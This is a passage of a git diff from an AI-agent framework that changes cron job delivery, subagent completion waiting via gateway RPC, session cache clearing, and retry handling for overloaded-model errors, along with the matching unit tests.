Announce fails: runSubagentAnnounceFlow returns false + vi.mocked(runSubagentAnnounceFlow).mockResolvedValue(false); + + const { deliverOutboundPayloads } = await import("../../infra/outbound/deliver.js"); + vi.mocked(deliverOutboundPayloads).mockResolvedValue([{ ok: true } as never]); + + const params = makeBaseParams({ synthesizedText: "Briefing ready." }); + const state = await dispatchCronDelivery(params); + + // Delivery was attempted; direct fallback picked up the slack + expect(state.deliveryAttempted).toBe(true); + expect(state.delivered).toBe(true); + + // Announce was tried exactly once + expect(runSubagentAnnounceFlow).toHaveBeenCalledTimes(1); + + // Direct fallback fired exactly once (not zero, not twice) + // This ensures one delivery total reaches the user, not two + expect(deliverOutboundPayloads).toHaveBeenCalledTimes(1); + }); + + it("no delivery requested means deliveryAttempted stays false and runSubagentAnnounceFlow not called", async () => { + const params = makeBaseParams({ + synthesizedText: "Task done.", + deliveryRequested: false, + }); + const state = await dispatchCronDelivery(params); + + expect(runSubagentAnnounceFlow).not.toHaveBeenCalled(); + // deliveryAttempted starts false (skipMessagingToolDelivery=false) and nothing runs + expect(state.deliveryAttempted).toBe(false); + }); +}); diff --git a/src/cron/isolated-agent/delivery-dispatch.ts b/src/cron/isolated-agent/delivery-dispatch.ts index 1924beb90b2..fffa5fcb8b8 100644 --- a/src/cron/isolated-agent/delivery-dispatch.ts +++ b/src/cron/isolated-agent/delivery-dispatch.ts @@ -318,8 +318,16 @@ export async function dispatchCronDelivery( } if (activeSubagentRuns > 0) { // Parent orchestration is still in progress; avoid announcing a partial - // update to the main requester. - return params.withRunSession({ status: "ok", summary, outputText, ...params.telemetry }); + // update to the main requester. Mark deliveryAttempted so the timer does + // not fire a redundant enqueueSystemEvent fallback (double-announce bug). + deliveryAttempted = true; + return params.withRunSession({ + status: "ok", + summary, + outputText, + deliveryAttempted, + ...params.telemetry, + }); } if ( hadDescendants && @@ -329,8 +337,16 @@ export async function dispatchCronDelivery( ) { // Descendants existed but no post-orchestration synthesis arrived AND // no descendant fallback reply was available. Suppress stale parent - // text like "on it, pulling everything together". - return params.withRunSession({ status: "ok", summary, outputText, ...params.telemetry }); + // text like "on it, pulling everything together". Mark deliveryAttempted + // so the timer does not fire a redundant enqueueSystemEvent fallback. + deliveryAttempted = true; + return params.withRunSession({ + status: "ok", + summary, + outputText, + deliveryAttempted, + ...params.telemetry, + }); } if (synthesizedText.toUpperCase() === SILENT_REPLY_TOKEN.toUpperCase()) { return params.withRunSession({ diff --git a/src/cron/isolated-agent/run.interim-retry.test.ts b/src/cron/isolated-agent/run.interim-retry.test.ts index 19f47bc8411..90d663ed020 100644 --- a/src/cron/isolated-agent/run.interim-retry.test.ts +++ b/src/cron/isolated-agent/run.interim-retry.test.ts @@ -17,6 +17,21 @@ const runCronIsolatedAgentTurn = await loadRunCronIsolatedAgentTurn(); describe("runCronIsolatedAgentTurn — interim ack retry", () => { setupRunCronIsolatedAgentTurnSuite(); + const mockFallbackPassthrough = () => { + runWithModelFallbackMock.mockImplementation(async ({ provider, model, run }) => { + const result = await run(provider, model); + return { result, provider, model, attempts: [] }; + }); + }; + + const runTurnAndExpectOk = async (expectedFallbackCalls: number, expectedAgentCalls: number) => { + const result = await runCronIsolatedAgentTurn(makeIsolatedAgentTurnParams()); + expect(result.status).toBe("ok"); + expect(runWithModelFallbackMock).toHaveBeenCalledTimes(expectedFallbackCalls); + expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(expectedAgentCalls); + return result; + }; + const usePayloadTextExtraction = () => { pickLastNonEmptyTextFromPayloadsMock.mockImplementation( (payloads?: Array<{ text?: string }>) => { @@ -47,16 +62,8 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); - runWithModelFallbackMock.mockImplementation(async ({ provider, model, run }) => { - const result = await run(provider, model); - return { result, provider, model, attempts: [] }; - }); - - const result = await runCronIsolatedAgentTurn(makeIsolatedAgentTurnParams()); - - expect(result.status).toBe("ok"); - expect(runWithModelFallbackMock).toHaveBeenCalledTimes(2); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(2); + mockFallbackPassthrough(); + await runTurnAndExpectOk(2, 2); expect(runEmbeddedPiAgentMock.mock.calls[1]?.[0]?.prompt).toContain( "previous response was only an acknowledgement", ); @@ -69,16 +76,8 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { meta: { agentMeta: { usage: { input: 10, output: 20 } } }, }); - runWithModelFallbackMock.mockImplementation(async ({ provider, model, run }) => { - const result = await run(provider, model); - return { result, provider, model, attempts: [] }; - }); - - const result = await runCronIsolatedAgentTurn(makeIsolatedAgentTurnParams()); - - expect(result.status).toBe("ok"); - expect(runWithModelFallbackMock).toHaveBeenCalledTimes(1); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + mockFallbackPassthrough(); + await runTurnAndExpectOk(1, 1); }); it("does not retry when descendants were spawned in this run even if they already settled", async () => { @@ -94,15 +93,7 @@ describe("runCronIsolatedAgentTurn — interim ack retry", () => { ]); countActiveDescendantRunsMock.mockReturnValue(0); - runWithModelFallbackMock.mockImplementation(async ({ provider, model, run }) => { - const result = await run(provider, model); - return { result, provider, model, attempts: [] }; - }); - - const result = await runCronIsolatedAgentTurn(makeIsolatedAgentTurnParams()); - - expect(result.status).toBe("ok"); - expect(runWithModelFallbackMock).toHaveBeenCalledTimes(1); - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); + mockFallbackPassthrough(); + await runTurnAndExpectOk(1, 1); }); }); diff --git a/src/cron/isolated-agent/run.ts b/src/cron/isolated-agent/run.ts index 1fbcc08bad8..8d5a1db73a5 100644 --- a/src/cron/isolated-agent/run.ts +++ b/src/cron/isolated-agent/run.ts @@ -534,7 +534,7 @@ export async function runCronIsolatedAgentTurn(params: { // be blocked by a target it cannot satisfy (#27898). requireExplicitMessageTarget: deliveryRequested && resolvedDelivery.ok, disableMessageTool: deliveryRequested || deliveryPlan.mode === "none", - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, abortSignal, bootstrapPromptWarningSignaturesSeen, bootstrapPromptWarningSignature, diff --git a/src/cron/isolated-agent/session.test.ts b/src/cron/isolated-agent/session.test.ts index 08f273e8c41..fc75ed100f6 100644 --- a/src/cron/isolated-agent/session.test.ts +++ b/src/cron/isolated-agent/session.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; vi.mock("../../config/sessions.js", () => ({ @@ -8,6 +8,16 @@ vi.mock("../../config/sessions.js", () => ({ resolveSessionResetPolicy: vi.fn().mockReturnValue({ mode: "idle", idleMinutes: 60 }), })); +vi.mock("../../agents/bootstrap-cache.js", () => ({ + clearBootstrapSnapshot: vi.fn(), + clearBootstrapSnapshotOnSessionRollover: vi.fn(({ sessionKey, previousSessionId }) => { + if (sessionKey && previousSessionId) { + clearBootstrapSnapshot(sessionKey); + } + }), +})); + +import { clearBootstrapSnapshot } from "../../agents/bootstrap-cache.js"; import { loadSessionStore, evaluateSessionFreshness } from "../../config/sessions.js"; import { resolveCronSession } from "./session.js"; @@ -40,6 +50,10 @@ function resolveWithStoredEntry(params?: { } describe("resolveCronSession", () => { + beforeEach(() => { + vi.mocked(clearBootstrapSnapshot).mockReset(); + }); + it("preserves modelOverride and providerOverride from existing session entry", () => { const result = resolveWithStoredEntry({ sessionKey: "agent:main:cron:test-job", @@ -100,6 +114,7 @@ describe("resolveCronSession", () => { expect(result.sessionEntry.sessionId).toBe("existing-session-id-123"); expect(result.isNewSession).toBe(false); expect(result.systemSent).toBe(true); + expect(clearBootstrapSnapshot).not.toHaveBeenCalled(); }); it("creates new sessionId when session is stale", () => { @@ -121,6 +136,7 @@ describe("resolveCronSession", () => { expect(result.sessionEntry.modelOverride).toBe("gpt-4.1-mini"); expect(result.sessionEntry.providerOverride).toBe("openai"); expect(result.sessionEntry.sendPolicy).toBe("allow"); + expect(clearBootstrapSnapshot).toHaveBeenCalledWith("webhook:stable-key"); }); it("creates new sessionId when forceNew is true", () => { @@ -141,6 +157,7 @@ describe("resolveCronSession", () => { expect(result.systemSent).toBe(false); expect(result.sessionEntry.modelOverride).toBe("sonnet-4"); expect(result.sessionEntry.providerOverride).toBe("anthropic"); + expect(clearBootstrapSnapshot).toHaveBeenCalledWith("webhook:stable-key"); }); it("clears delivery routing metadata and deliveryContext when forceNew is true", () => { diff --git a/src/cron/isolated-agent/session.ts b/src/cron/isolated-agent/session.ts index b1c9fe3710d..c7bde5cea2d 100644 --- a/src/cron/isolated-agent/session.ts +++ b/src/cron/isolated-agent/session.ts @@ -1,4 +1,5 @@ import crypto from "node:crypto"; +import { clearBootstrapSnapshotOnSessionRollover } from "../../agents/bootstrap-cache.js"; import type { OpenClawConfig } from "../../config/config.js"; import { evaluateSessionFreshness, @@ -58,6 +59,11 @@ export function resolveCronSession(params: { systemSent = false; } + clearBootstrapSnapshotOnSessionRollover({ + sessionKey: params.sessionKey, + previousSessionId: isNewSession ? entry?.sessionId : undefined, + }); + const sessionEntry: SessionEntry = { // Preserve existing per-session overrides even when rolling to a new sessionId. ...entry, diff --git a/src/cron/isolated-agent/subagent-followup.test.ts b/src/cron/isolated-agent/subagent-followup.test.ts index 237f912903f..093da010026 100644 --- a/src/cron/isolated-agent/subagent-followup.test.ts +++ b/src/cron/isolated-agent/subagent-followup.test.ts @@ -1,12 +1,18 @@ -import { describe, expect, it, vi } from "vitest"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +// vi.hoisted runs before module imports, ensuring FAST_TEST_MODE is picked up. +vi.hoisted(() => { + process.env.OPENCLAW_TEST_FAST = "1"; +}); + import { expectsSubagentFollowup, isLikelyInterimCronMessage, readDescendantSubagentFallbackReply, + waitForDescendantSubagentSummary, } from "./subagent-followup.js"; vi.mock("../../agents/subagent-registry.js", () => ({ - countActiveDescendantRuns: vi.fn().mockReturnValue(0), listDescendantRunsForRequester: vi.fn().mockReturnValue([]), })); @@ -14,8 +20,18 @@ vi.mock("../../agents/tools/agent-step.js", () => ({ readLatestAssistantReply: vi.fn().mockResolvedValue(undefined), })); +vi.mock("../../gateway/call.js", () => ({ + callGateway: vi.fn().mockResolvedValue({ status: "ok" }), +})); + const { listDescendantRunsForRequester } = await import("../../agents/subagent-registry.js"); const { readLatestAssistantReply } = await import("../../agents/tools/agent-step.js"); +const { callGateway } = await import("../../gateway/call.js"); + +async function resolveAfterAdvancingTimers(promise: Promise, advanceMs = 100): Promise { + await vi.advanceTimersByTimeAsync(advanceMs); + return promise; +} describe("isLikelyInterimCronMessage", () => { it("detects 'on it' as interim", () => { @@ -243,3 +259,246 @@ describe("readDescendantSubagentFallbackReply", () => { expect(result).toBeUndefined(); }); }); + +describe("waitForDescendantSubagentSummary", () => { + beforeEach(() => { + vi.clearAllMocks(); + vi.useRealTimers(); + vi.mocked(listDescendantRunsForRequester).mockReturnValue([]); + vi.mocked(readLatestAssistantReply).mockResolvedValue(undefined); + vi.mocked(callGateway).mockResolvedValue({ status: "ok" }); + }); + + afterEach(() => { + vi.useRealTimers(); + }); + + it("returns initialReply immediately when no active descendants and observedActiveDescendants=false", async () => { + vi.mocked(listDescendantRunsForRequester).mockReturnValue([]); + const result = await waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: "on it", + timeoutMs: 100, + observedActiveDescendants: false, + }); + expect(result).toBe("on it"); + expect(callGateway).not.toHaveBeenCalled(); + }); + + it("awaits active descendants via agent.wait and returns synthesis after grace period", async () => { + // First call: active run; second call (after agent.wait resolves): no active runs + vi.mocked(listDescendantRunsForRequester) + .mockReturnValueOnce([ + { + runId: "run-abc", + childSessionKey: "child-session", + requesterSessionKey: "cron-session", + requesterDisplayKey: "cron-session", + task: "morning briefing", + cleanup: "keep", + createdAt: 1000, + // no endedAt → active + }, + ]) + .mockReturnValue([]); // subsequent calls: all done + + vi.mocked(callGateway).mockResolvedValue({ status: "ok" }); + vi.mocked(readLatestAssistantReply).mockResolvedValue("Morning briefing complete!"); + + const result = await waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: "on it", + timeoutMs: 30_000, + observedActiveDescendants: true, + }); + + expect(result).toBe("Morning briefing complete!"); + // agent.wait should have been called with the active run's ID + expect(callGateway).toHaveBeenCalledWith( + expect.objectContaining({ + method: "agent.wait", + params: expect.objectContaining({ runId: "run-abc" }), + }), + ); + }); + + it("returns undefined when descendants finish but only interim text remains after grace period", async () => { + vi.useFakeTimers(); + // No active runs at call time, but observedActiveDescendants=true (saw them before) + vi.mocked(listDescendantRunsForRequester).mockReturnValue([]); + // readLatestAssistantReply keeps returning interim text + vi.mocked(readLatestAssistantReply).mockResolvedValue("on it"); + + const resultPromise = waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: "on it", + timeoutMs: 100, + observedActiveDescendants: true, + }); + + const result = await resolveAfterAdvancingTimers(resultPromise); + + expect(result).toBeUndefined(); + }); + + it("returns synthesis even if initial reply was undefined", async () => { + vi.mocked(listDescendantRunsForRequester) + .mockReturnValueOnce([ + { + runId: "run-xyz", + childSessionKey: "child-2", + requesterSessionKey: "cron-session", + requesterDisplayKey: "cron-session", + task: "report", + cleanup: "keep", + createdAt: 1000, + }, + ]) + .mockReturnValue([]); + + vi.mocked(callGateway).mockResolvedValue({ status: "ok" }); + vi.mocked(readLatestAssistantReply).mockResolvedValue("Report generated successfully."); + + const result = await waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: undefined, + timeoutMs: 30_000, + observedActiveDescendants: true, + }); + + expect(result).toBe("Report generated successfully."); + }); + + it("uses agent.wait for each active run when multiple descendants exist", async () => { + vi.mocked(listDescendantRunsForRequester) + .mockReturnValueOnce([ + { + runId: "run-1", + childSessionKey: "child-1", + requesterSessionKey: "cron-session", + requesterDisplayKey: "cron-session", + task: "task-1", + cleanup: "keep", + createdAt: 1000, + }, + { + runId: "run-2", + childSessionKey: "child-2", + requesterSessionKey: "cron-session", + requesterDisplayKey: "cron-session", + task: "task-2", + cleanup: "keep", + createdAt: 1000, + }, + ]) + .mockReturnValue([]); + + vi.mocked(callGateway).mockResolvedValue({ status: "ok" }); + vi.mocked(readLatestAssistantReply).mockResolvedValue("All tasks complete."); + + await waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: "spawned a subagent", + timeoutMs: 30_000, + observedActiveDescendants: true, + }); + + // agent.wait called once for each active run + const waitCalls = vi + .mocked(callGateway) + .mock.calls.filter((c) => (c[0] as { method?: string }).method === "agent.wait"); + expect(waitCalls).toHaveLength(2); + const runIds = waitCalls.map((c) => (c[0] as { params: { runId: string } }).params.runId); + expect(runIds).toContain("run-1"); + expect(runIds).toContain("run-2"); + }); + + it("waits for newly discovered active descendants after the first wait round", async () => { + vi.mocked(listDescendantRunsForRequester) + .mockReturnValueOnce([ + { + runId: "run-1", + childSessionKey: "child-1", + requesterSessionKey: "cron-session", + requesterDisplayKey: "cron-session", + task: "task-1", + cleanup: "keep", + createdAt: 1000, + }, + ]) + .mockReturnValueOnce([ + { + runId: "run-2", + childSessionKey: "child-2", + requesterSessionKey: "cron-session", + requesterDisplayKey: "cron-session", + task: "task-2", + cleanup: "keep", + createdAt: 1001, + }, + ]) + .mockReturnValue([]); + + vi.mocked(callGateway).mockResolvedValue({ status: "ok" }); + vi.mocked(readLatestAssistantReply).mockResolvedValue("Nested descendant work complete."); + + const result = await waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: "spawned a subagent", + timeoutMs: 30_000, + observedActiveDescendants: true, + }); + + expect(result).toBe("Nested descendant work complete."); + const waitedRunIds = vi + .mocked(callGateway) + .mock.calls.filter((c) => (c[0] as { method?: string }).method === "agent.wait") + .map((c) => (c[0] as { params: { runId: string } }).params.runId); + expect(waitedRunIds).toEqual(["run-1", "run-2"]); + }); + + it("handles agent.wait errors gracefully and still reads the synthesis", async () => { + vi.mocked(listDescendantRunsForRequester) + .mockReturnValueOnce([ + { + runId: "run-err", + childSessionKey: "child-err", + requesterSessionKey: "cron-session", + requesterDisplayKey: "cron-session", + task: "task-err", + cleanup: "keep", + createdAt: 1000, + }, + ]) + .mockReturnValue([]); + + vi.mocked(callGateway).mockRejectedValue(new Error("gateway unavailable")); + vi.mocked(readLatestAssistantReply).mockResolvedValue("Completed despite gateway error."); + + const result = await waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: "on it", + timeoutMs: 30_000, + observedActiveDescendants: true, + }); + + expect(result).toBe("Completed despite gateway error."); + }); + + it("skips NO_REPLY synthesis and returns undefined", async () => { + vi.useFakeTimers(); + vi.mocked(listDescendantRunsForRequester).mockReturnValue([]); + vi.mocked(readLatestAssistantReply).mockResolvedValue("NO_REPLY"); + + const resultPromise = waitForDescendantSubagentSummary({ + sessionKey: "cron-session", + initialReply: "on it", + timeoutMs: 100, + observedActiveDescendants: true, + }); + + const result = await resolveAfterAdvancingTimers(resultPromise); + + expect(result).toBeUndefined(); + }); +}); diff --git a/src/cron/isolated-agent/subagent-followup.ts b/src/cron/isolated-agent/subagent-followup.ts index ef4a18a3863..6d5f9d4c502 100644 --- a/src/cron/isolated-agent/subagent-followup.ts +++ b/src/cron/isolated-agent/subagent-followup.ts @@ -1,12 +1,14 @@ -import { - countActiveDescendantRuns, - listDescendantRunsForRequester, -} from "../../agents/subagent-registry.js"; +import { listDescendantRunsForRequester } from "../../agents/subagent-registry.js"; import { readLatestAssistantReply } from "../../agents/tools/agent-step.js"; import { SILENT_REPLY_TOKEN } from "../../auto-reply/tokens.js"; -const CRON_SUBAGENT_WAIT_POLL_MS = 500; -const CRON_SUBAGENT_WAIT_MIN_MS = 30_000; -const CRON_SUBAGENT_FINAL_REPLY_GRACE_MS = 5_000; +import { callGateway } from "../../gateway/call.js"; + +const FAST_TEST_MODE = process.env.OPENCLAW_TEST_FAST === "1"; + +const CRON_SUBAGENT_WAIT_MIN_MS = FAST_TEST_MODE ? 10 : 30_000; +const CRON_SUBAGENT_FINAL_REPLY_GRACE_MS = FAST_TEST_MODE ? 50 : 5_000; +const CRON_SUBAGENT_GRACE_POLL_MS = FAST_TEST_MODE ? 8 : 200; + const SUBAGENT_FOLLOWUP_HINTS = [ "subagent spawned", "spawned a subagent", @@ -14,6 +16,7 @@ const SUBAGENT_FOLLOWUP_HINTS = [ "both subagents are running", "wait for them to report back", ] as const; + const INTERIM_CRON_HINTS = [ "on it", "pulling everything together", @@ -103,6 +106,12 @@ export async function readDescendantSubagentFallbackReply(params: { return replies.join("\n\n"); } +/** + * Waits for descendant subagents to complete using a push-based approach: + * each active descendant run is awaited via `agent.wait` (gateway RPC) instead + * of a busy-poll loop. After all active runs settle, a short grace period + * polls the cron agent's session for a post-orchestration synthesis message. + */ export async function waitForDescendantSubagentSummary(params: { sessionKey: string; initialReply?: string; @@ -111,22 +120,53 @@ export async function waitForDescendantSubagentSummary(params: { }): Promise { const initialReply = params.initialReply?.trim(); const deadline = Date.now() + Math.max(CRON_SUBAGENT_WAIT_MIN_MS, Math.floor(params.timeoutMs)); - let sawActiveDescendants = params.observedActiveDescendants === true; - let drainedAtMs: number | undefined; - while (Date.now() < deadline) { - const activeDescendants = countActiveDescendantRuns(params.sessionKey); - if (activeDescendants > 0) { - sawActiveDescendants = true; - drainedAtMs = undefined; - await new Promise((resolve) => setTimeout(resolve, CRON_SUBAGENT_WAIT_POLL_MS)); - continue; - } - if (!sawActiveDescendants) { - return initialReply; - } - if (!drainedAtMs) { - drainedAtMs = Date.now(); - } + + // Snapshot the currently active descendant run IDs. + const getActiveRuns = () => + listDescendantRunsForRequester(params.sessionKey).filter( + (entry) => typeof entry.endedAt !== "number", + ); + + const initialActiveRuns = getActiveRuns(); + const sawActiveDescendants = + params.observedActiveDescendants === true || initialActiveRuns.length > 0; + + if (!sawActiveDescendants) { + // No active descendants and none were observed before the call – nothing to wait for. + return initialReply; + } + + // --- Push-based wait for all active descendants --- + // We iterate in case first-level descendants spawn their own subagents while + // we wait, so new active runs can appear between rounds. + let pendingRunIds = new Set(initialActiveRuns.map((e) => e.runId)); + + while (pendingRunIds.size > 0 && Date.now() < deadline) { + const remainingMs = Math.max(1, deadline - Date.now()); + // Wait for all currently pending runs concurrently. If any fails or times + // out, allSettled absorbs the error so we proceed to the next iteration. + await Promise.allSettled( + [...pendingRunIds].map((runId) => + callGateway<{ status?: string }>({ + method: "agent.wait", + params: { runId, timeoutMs: remainingMs }, + timeoutMs: remainingMs + 2_000, + }).catch(() => undefined), + ), + ); + + // Refresh: check for newly created active descendants (e.g. spawned by + // the runs that just finished) and keep looping if any exist. + pendingRunIds = new Set(getActiveRuns().map((e) => e.runId)); + } + + // --- Grace period: wait for the cron agent's synthesis --- + // After the subagent announces fire and the cron agent processes them, it + // produces a new assistant message. Poll briefly (bounded by + // CRON_SUBAGENT_FINAL_REPLY_GRACE_MS) to capture that synthesis. + const gracePeriodDeadline = Math.min(Date.now() + CRON_SUBAGENT_FINAL_REPLY_GRACE_MS, deadline); + + while (Date.now() < gracePeriodDeadline) { const latest = (await readLatestAssistantReply({ sessionKey: params.sessionKey }))?.trim(); if ( latest && @@ -135,11 +175,10 @@ export async function waitForDescendantSubagentSummary(params: { ) { return latest; } - if (Date.now() - drainedAtMs >= CRON_SUBAGENT_FINAL_REPLY_GRACE_MS) { - return undefined; - } - await new Promise((resolve) => setTimeout(resolve, CRON_SUBAGENT_WAIT_POLL_MS)); + await new Promise((resolve) => setTimeout(resolve, CRON_SUBAGENT_GRACE_POLL_MS)); } + + // Final read after grace period expires. const latest = (await readLatestAssistantReply({ sessionKey: params.sessionKey }))?.trim(); if ( latest && @@ -148,5 +187,6 @@ export async function waitForDescendantSubagentSummary(params: { ) { return latest; } + return undefined; } diff --git a/src/cron/schedule.ts b/src/cron/schedule.ts index e62e9e2e7ab..b0cf8778eb1 100644 --- a/src/cron/schedule.ts +++ b/src/cron/schedule.ts @@ -30,6 +30,22 @@ function resolveCachedCron(expr: string, timezone: string): Cron { return next; } +function resolveCronFromSchedule(schedule: { + tz?: string; + expr?: unknown; + cron?: unknown; +}): Cron | undefined { + const exprSource = typeof schedule.expr === "string" ? schedule.expr : schedule.cron; + if (typeof exprSource !== "string") { + throw new Error("invalid cron schedule: expr is required"); + } + const expr = exprSource.trim(); + if (!expr) { + return undefined; + } + return resolveCachedCron(expr, resolveCronTimezone(schedule.tz)); +} + export function coerceFiniteScheduleNumber(value: unknown): number | undefined { if (typeof value === "number") { return Number.isFinite(value) ? value : undefined; @@ -81,16 +97,10 @@ export function computeNextRunAtMs(schedule: CronSchedule, nowMs: number): numbe return anchor + steps * everyMs; } - const cronSchedule = schedule as { expr?: unknown; cron?: unknown }; - const exprSource = typeof cronSchedule.expr === "string" ? cronSchedule.expr : cronSchedule.cron; - if (typeof exprSource !== "string") { - throw new Error("invalid cron schedule: expr is required"); - } - const expr = exprSource.trim(); - if (!expr) { + const cron = resolveCronFromSchedule(schedule as { tz?: string; expr?: unknown; cron?: unknown }); + if (!cron) { return undefined; } - const cron = resolveCachedCron(expr, resolveCronTimezone(schedule.tz)); let next = cron.nextRun(new Date(nowMs)); if (!next) { return undefined; @@ -132,16 +142,10 @@ export function computePreviousRunAtMs(schedule: CronSchedule, nowMs: number): n if (schedule.kind !== "cron") { return undefined; } - const cronSchedule = schedule as { expr?: unknown; cron?: unknown }; - const exprSource = typeof cronSchedule.expr === "string" ? cronSchedule.expr : cronSchedule.cron; - if (typeof exprSource !== "string") { - throw new Error("invalid cron schedule: expr is required"); - } - const expr = exprSource.trim(); - if (!expr) { + const cron = resolveCronFromSchedule(schedule as { tz?: string; expr?: unknown; cron?: unknown }); + if (!cron) { return undefined; } - const cron = resolveCachedCron(expr, resolveCronTimezone(schedule.tz)); const previousRuns = cron.previousRuns(1, new Date(nowMs)); const previous = previousRuns[0]; if (!previous) { diff --git a/src/cron/service.issue-13992-regression.test.ts b/src/cron/service.issue-13992-regression.test.ts index f3ee7121a70..698724b3143 100644 --- a/src/cron/service.issue-13992-regression.test.ts +++ b/src/cron/service.issue-13992-regression.test.ts @@ -46,21 +46,14 @@ describe("issue #13992 regression - cron jobs skip execution", () => { const now = Date.now(); const pastDue = now - 60_000; - const job: CronJob = { - id: "test-job", - name: "test job", - enabled: true, - schedule: { kind: "cron", expr: "0 8 * * *", tz: "UTC" }, - payload: { kind: "systemEvent", text: "test" }, - sessionTarget: "main", - wakeMode: "next-heartbeat", + const job = createCronSystemEventJob(now, { createdAtMs: now - 3600_000, updatedAtMs: now - 3600_000, state: { nextRunAtMs: pastDue, lastRunAtMs: pastDue + 1000, }, - }; + }); const state = createMockCronStateForJobs({ jobs: [job], nowMs: now }); recomputeNextRunsForMaintenance(state, { recomputeExpired: true }); @@ -73,21 +66,14 @@ describe("issue #13992 regression - cron jobs skip execution", () => { const now = Date.now(); const pastDue = now - 60_000; - const job: CronJob = { - id: "test-job", - name: "test job", - enabled: true, - schedule: { kind: "cron", expr: "0 8 * * *", tz: "UTC" }, - payload: { kind: "systemEvent", text: "test" }, - sessionTarget: "main", - wakeMode: "next-heartbeat", + const job = createCronSystemEventJob(now, { createdAtMs: now - 3600_000, updatedAtMs: now - 3600_000, state: { nextRunAtMs: pastDue, runningAtMs: now - 500, }, - }; + }); const state = createMockCronStateForJobs({ jobs: [job], nowMs: now }); recomputeNextRunsForMaintenance(state, { recomputeExpired: true }); diff --git a/src/cron/service.issue-regressions.test.ts b/src/cron/service.issue-regressions.test.ts index 9665d40ec55..9aec71b7315 100644 --- a/src/cron/service.issue-regressions.test.ts +++ b/src/cron/service.issue-regressions.test.ts @@ -580,6 +580,7 @@ describe("Cron issue regressions", () => { const runRetryScenario = async (params: { id: string; deleteAfterRun: boolean; + firstError?: string; }): Promise<{ state: ReturnType; runIsolatedAgentJob: ReturnType; @@ -600,7 +601,10 @@ describe("Cron issue regressions", () => { let now = scheduledAt; const runIsolatedAgentJob = vi .fn() - .mockResolvedValueOnce({ status: "error", error: "429 rate limit exceeded" }) + .mockResolvedValueOnce({ + status: "error", + error: params.firstError ?? "429 rate limit exceeded", + }) .mockResolvedValueOnce({ status: "ok", summary: "done" }); const state = createCronServiceState({ cronEnabled: true, @@ -644,6 +648,19 @@ describe("Cron issue regressions", () => { ); expect(deletedJob).toBeUndefined(); expect(deleteResult.runIsolatedAgentJob).toHaveBeenCalledTimes(2); + + const overloadedResult = await runRetryScenario({ + id: "oneshot-overloaded-retry", + deleteAfterRun: false, + firstError: + "All models failed (2): anthropic/claude-3-5-sonnet: LLM error overloaded_error: overloaded (overloaded); openai/gpt-5.3-codex: LLM error overloaded_error: overloaded (overloaded)", + }); + const overloadedJob = overloadedResult.state.store?.jobs.find( + (j) => j.id === "oneshot-overloaded-retry", + ); + expect(overloadedJob).toBeDefined(); + expect(overloadedJob!.state.lastStatus).toBe("ok"); + expect(overloadedResult.runIsolatedAgentJob).toHaveBeenCalledTimes(2); }); it("#24355: one-shot job disabled after max transient retries", async () => { @@ -735,6 +752,54 @@ describe("Cron issue regressions", () => { expect(runIsolatedAgentJob).toHaveBeenCalledTimes(3); }); + it("#24355: one-shot job retries status-only 529 failures when retryOn only includes overloaded", async () => { + const store = makeStorePath(); + const scheduledAt = Date.parse("2026-02-06T10:00:00.000Z"); + + const cronJob = createIsolatedRegressionJob({ + id: "oneshot-overloaded-529-only", + name: "reminder", + scheduledAt, + schedule: { kind: "at", at: new Date(scheduledAt).toISOString() }, + payload: { kind: "agentTurn", message: "remind me" }, + state: { nextRunAtMs: scheduledAt }, + }); + await writeCronJobs(store.storePath, [cronJob]); + + let now = scheduledAt; + const runIsolatedAgentJob = vi + .fn() + .mockResolvedValueOnce({ status: "error", error: "FailoverError: HTTP 529" }) + .mockResolvedValueOnce({ status: "ok", summary: "done" }); + const state = createCronServiceState({ + cronEnabled: true, + storePath: store.storePath, + log: noopLogger, + nowMs: () => now, + enqueueSystemEvent: vi.fn(), + requestHeartbeatNow: vi.fn(), + runIsolatedAgentJob, + cronConfig: { + retry: { maxAttempts: 1, backoffMs: [1000], retryOn: ["overloaded"] }, + }, + }); + + await onTimer(state); + const jobAfterRetry = state.store?.jobs.find((j) => j.id === "oneshot-overloaded-529-only"); + expect(jobAfterRetry).toBeDefined(); + expect(jobAfterRetry!.enabled).toBe(true); + expect(jobAfterRetry!.state.lastStatus).toBe("error"); + expect(jobAfterRetry!.state.nextRunAtMs).toBeGreaterThan(scheduledAt); + + now = (jobAfterRetry!.state.nextRunAtMs ?? now) + 1; + await onTimer(state); + + const finishedJob = state.store?.jobs.find((j) => j.id === "oneshot-overloaded-529-only"); + expect(finishedJob).toBeDefined(); + expect(finishedJob!.state.lastStatus).toBe("ok"); + expect(runIsolatedAgentJob).toHaveBeenCalledTimes(2); + }); + it("#24355: one-shot job disabled immediately on permanent error", async () => { const store = makeStorePath(); const scheduledAt = Date.parse("2026-02-06T10:00:00.000Z"); diff --git a/src/cron/service/timer.ts b/src/cron/service/timer.ts index 8d1d40024ed..8502f3b6fe8 100644 --- a/src/cron/service/timer.ts +++ b/src/cron/service/timer.ts @@ -120,6 +120,8 @@ const DEFAULT_MAX_TRANSIENT_RETRIES = 3; const TRANSIENT_PATTERNS: Record = { rate_limit: /(rate[_ ]limit|too many requests|429|resource has been exhausted|cloudflare)/i, + overloaded: + /\b529\b|\boverloaded(?:_error)?\b|high demand|temporar(?:ily|y) overloaded|capacity exceeded/i, network: /(network|econnreset|econnrefused|fetch failed|socket)/i, timeout: /(timeout|etimedout)/i, server_error: /\b5\d{2}\b/, diff --git a/src/cron/session-reaper.ts 